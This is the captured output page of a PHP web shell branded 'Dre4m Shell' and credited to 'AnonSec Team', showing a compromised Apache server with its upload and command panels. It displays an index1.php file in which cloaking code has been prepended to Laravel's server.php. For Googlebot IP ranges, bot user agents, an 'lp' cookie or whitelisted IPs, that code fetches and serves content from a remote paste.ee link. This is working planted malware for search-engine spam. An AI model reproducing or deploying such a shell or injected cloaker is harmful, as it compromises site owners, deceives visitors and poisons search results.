Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.224.252.183
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/index1.php
<?php error_reporting(0);
$link = "https://paste.ee/r/UmsOOl6j"; // lp dalam bentuk paste raw
function ip_in_range($ip, $range)
{
    list($subnet, $bits) = explode("/", $range);
    $ip_dec = ip2long($ip);
    $subnet_dec = ip2long($subnet);
    $mask = -1 << 32 - $bits;
    $subnet_dec &= $mask;
    return ($ip_dec & $mask) === $subnet_dec;
}
function fetch_ip_ranges($url, $ipv4_key)
{
    $json_data = file_get_contents($url);
    if ($json_data === false) {
        die("Error: Could not fetch the IP ranges from $url.");
    }
    $ip_data = json_decode($json_data, true);
    $ip_ranges = [];
    if (isset($ip_data["prefixes"])) {
        foreach ($ip_data["prefixes"] as $prefix) {
            if (isset($prefix[$ipv4_key])) {
                $ip_ranges[] = $prefix[$ipv4_key];
            }
        }
    }
    return $ip_ranges;
}
$google_ip_ranges = fetch_ip_ranges(
    "https://www.gstatic.com/ipranges/goog.json",
    "ipv4Prefix"
);
$visitor_ip = isset($_SERVER["HTTP_CF_CONNECTING_IP"])
    ? $_SERVER["HTTP_CF_CONNECTING_IP"]
    : (isset($_SERVER["HTTP_INCAP_CLIENT_IP"])
        ? $_SERVER["HTTP_INCAP_CLIENT_IP"]
        : (isset($_SERVER["HTTP_TRUE_CLIENT_IP"])
            ? $_SERVER["HTTP_TRUE_CLIENT_IP"]
            : (isset($_SERVER["HTTP_REMOTEIP"])
                ? $_SERVER["HTTP_REMOTEIP"]
                : (isset($_SERVER["HTTP_X_REAL_IP"])
                    ? $_SERVER["HTTP_X_REAL_IP"]
                    : $_SERVER["REMOTE_ADDR"]))));
$googleallow = false;
foreach ($google_ip_ranges as $range) {
    if (ip_in_range($visitor_ip, $range)) {
        $googleallow = true;
        break;
    }
}
$asd = ["bot", "ahrefs", "google"];
foreach ($asd as $len) {
    $nul = $len;
}
$alow = ["85.92.66.150", "81.19.188.236", "81.19.188.235", "85.92.66.149"];
if ($_SERVER["REQUEST_URI"] == "/") {
    $agent = strtolower($_SERVER["HTTP_USER_AGENT"]);
    if (
        strpos($agent, $nul) or
        $googleallow or
        isset($_COOKIE["lp"]) or
        in_array($visitor_ip, $alow)
    ) {
        echo implode("", file($link));
        die();
    }
} ?>
<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

$uri = urldecode(
    parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)
);

// This file allows us to emulate Apache's "mod_rewrite" functionality from the
// built-in PHP web server. This provides a convenient way to test a Laravel
// application without having installed a "real" web server software here.
if ($uri !== '/' && file_exists(__DIR__.'/public'.$uri)) {
    return false;
}

require_once __DIR__.'/public/index.php';

Anon7 - 2022
AnonSec Team